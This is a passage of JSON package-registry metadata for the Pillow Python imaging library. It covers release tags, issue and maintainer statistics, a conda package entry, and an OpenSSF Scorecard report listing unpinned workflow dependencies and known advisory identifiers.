,{"name":"1.0","sha":"b1030062ea8106abb34c97b83ab16149d33fb98f","kind":"tag","published_at":"2010-07-31T03:26:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-19T21:14:05.480Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":4.796011385411047,"dependent_packages_count":4.494101325906062,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.6450563556585545},"purl":"pkg:golang/github.com/python-pillow/pillow","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/python-pillow/pillow","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/python-pillow/pillow","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/python-pillow/pillow/dependencies","status":"removed","funding_links":["https://github.com/sponsors/python-pillow","https://tidelift.com/funding/github/pypi/pillow"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-19T20:04:07.682Z","issues_count":859,"pull_requests_count":2671,"avg_time_to_close_issue":12261496.382857142,"avg_time_to_close_pull_request":1548566.9461983105,"issues_closed_count":700,"pull_requests_closed_count":2249,"pull_request_authors_count":167,"issue_authors_count":690,"avg_comments_per_issue":7.09662398137369,"avg_comments_per_pull_request":1.1542493448146762,"merged_pull_requests_count":2032,"bot_issues_count":3,"bot_pull_requests_count":164,"past_year_issues_count":73,"past_year_pull_requests_count":388,"past_year_avg_time_to_close_issue":1211846.0789473683,"past_year_avg_time_to_close_pull_request":837913.4618644068,"past_year_issues_closed_count":38,"past_year_pull_requests_closed_count":236,"past_year_pull_request_authors_count":62,"past_year_issue_authors_count":60,"past_year_avg_comments_per_issue":4.041095890410959,"past_year_avg_comments_per_pull_request":1.1649484536082475,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":207,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","maintainers":[{"login":"radarhere","count":1750,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":235,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"},{"login":"homm","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"},{"login":"mficzel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mficzel"}],"active_maintainers":[{"login":"radarhere","count":217,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpython-pillow%2Fpillow/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpython-pillow%2Fpillow/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpython-pillow%2Fpillow/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpython-pillow%2Fpillow/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpython-pillow%2Fpillow/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpython-pillow%2Fpillow/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281883,"maintainers_count":0,"namespaces_count":839478,"keywords_count":124863,"github":"golang","metadata":{"funded_packages_count":67811,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-23T05:01:16.146Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":5284534,"name":"pillow","ecosystem":"conda","description":"Pillow is the friendly PIL fork. PIL is the Python Imaging Library, adds image processing capabilities to your Python interpreter.","homepage":"https://python-pillow.github.io","licenses":"HPND AND TCL","normalized_licenses":["HPND","TCL"],"repository_url":"https://github.com/python-pillow/Pillow","keywords_array":[],"namespace":null,"versions_count":38,"first_release_published_at":"2017-09-11T05:27:04.000Z","latest_release_published_at":"2026-07-13T21:43:24.000Z","latest_release_number":"12.3.0","last_synced_at":"2026-07-14T10:03:56.442Z","created_at":"2022-10-03T15:40:59.624Z","updated_at":"2026-08-19T20:22:54.436Z","registry_url":"https://anaconda.org/anaconda/pillow","install_command":"conda install -c anaconda pillow","documentation_url":null,"metadata":{},"repo_metadata":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (fork)","archived":false,"fork":false,"pushed_at":"2026-08-12T00:07:52.000Z","size":210851,"stargazers_count":13745,"open_issues_count":157,"forks_count":2484,"subscribers_count":219,"default_branch":"main","last_synced_at":"2026-08-12T01:37:15.901Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"python-pillow","tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2026-08-12T00:07:57.000Z","dependencies_parsed_at":"2026-08-10T00:33:36.120Z","dependency_job_id":"d5b95903-c96d-44df-bd02-a4cc128e2ac8","html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":13318,"total_committers":471,"mean_commits":28.276008492569,"dds":0.6136056464934675,"last_synced_commit":"128f3f46d475de5ddf9859ae1e262287d0c126b6"},"previous_names":["python-imaging/pillow"],"tags_count":99,"template":false,"template_full_name":null,"purl":"pkg:github/python-pillow/Pillow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/sbom","scorecard":{"id":685638,"data":{"date":"2025-08-11","repo":{"name":"github.com/python-pillow/Pillow","commit":"092d4422d590835c5a75831a4ff29caf0df08ae2"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 16/17 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-drafter.yml:20","Info: found token with 'none' permissions: .github/workflows/test-docker.yml:116","Info: found token with 'none' permissions: .github/workflows/test-windows.yml:240","Info: found token with 'none' permissions: .github/workflows/test.yml:162","Info: topLevel 'contents' permission set to 'read': .github/workflows/cifuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:19","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-drafter.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-docker.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-mingw.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind-memory.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-windows.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/wheels.yml:35"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_font.py:18","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_pillow.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/wheels.yml:270"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":0,"reason":"13 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: PYSEC-2018-34 / GHSA-2fc2-6r4j-p65h","Warn: Project is vulnerable to: PYSEC-2021-856 / GHSA-5545-2q6w-2gh6","Warn: Project is vulnerable to: PYSEC-2019-108 / GHSA-9fq2-x9r6-wfmf","Warn: Project is vulnerable to: PYSEC-2018-33 / GHSA-cw6w-4rcx-xphc","Warn: Project is vulnerable to: PYSEC-2021-857 / GHSA-f7c7-j99h-c22f","Warn: Project is vulnerable to: GHSA-fpfv-jqm9-f5jm","Warn: Project is vulnerable to: PYSEC-2017-1 / GHSA-frgw-fgh6-9g52"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): .github/workflows/test-docker.yml:100","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-drafter.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/release-drafter.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/stale.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind-memory.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind-memory.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:219: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-windows.yml:231: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:281: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/wheels.yml:287: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:167: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:237: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:242: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .ci/after_success.sh:4","Warn: pipCommand not pinned by hash: .ci/install.sh:25","Warn: pipCommand not pinned by hash: .ci/install.sh:26","Warn: pipCommand not pinned by hash: .ci/install.sh:27","Warn: pipCommand not pinned by hash: .ci/install.sh:28","Warn: pipCommand not pinned by hash: .ci/install.sh:29","Warn: pipCommand not pinned by hash: .ci/install.sh:30","Warn: pipCommand not pinned by hash: .ci/install.sh:31","Warn: pipCommand not pinned by hash: .ci/install.sh:32","Warn: pipCommand not pinned by hash: .ci/install.sh:33","Warn: pipCommand not pinned by hash: .ci/install.sh:34","Warn: pipCommand not pinned by hash: .ci/install.sh:35","Warn: pipCommand not pinned by hash: .ci/install.sh:38","Warn: pipCommand not pinned by hash: .ci/install.sh:44","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:24","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:25","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:26","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:27","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:28","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:29","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:31","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:35","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:174","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:187","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:377","Warn: pipCommand not pinned by hash: Tests/oss-fuzz/build.sh:18","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:47","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:48","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/wheels.yml:120","Info:   0 out of  36 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of  32 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-22T00:42:31.003Z","repository_id":4067385,"created_at":"2025-08-22T00:42:31.003Z","updated_at":"2025-08-22T00:42:31.003Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36546442,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-12T02:00:07.134Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@aclark.net","website":"https://python-pillow.github.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":19,"last_synced_at":"2026-08-13T00:36:15.473Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/python-pillow","funding_links":["https://github.com/sponsors/python-pillow"],"total_stars":13916,"followers":251,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2026-08-13T00:36:15.483Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"tags":[{"name":"12.3.0","sha":"bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d","kind":"commit","published_at":"2026-07-01T09:09:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0/manifests"},{"name":"12.2.0","sha":"3c41c095064200a02672d89cc5ff629eaf4b0d4f","kind":"commit","published_at":"2026-04-01T12:11:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0/manifests"},{"name":"12.1.1","sha":"5158d98c807e719c5938aa3886913ef0ea6814e9","kind":"commit","published_at":"2026-02-11T01:13:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/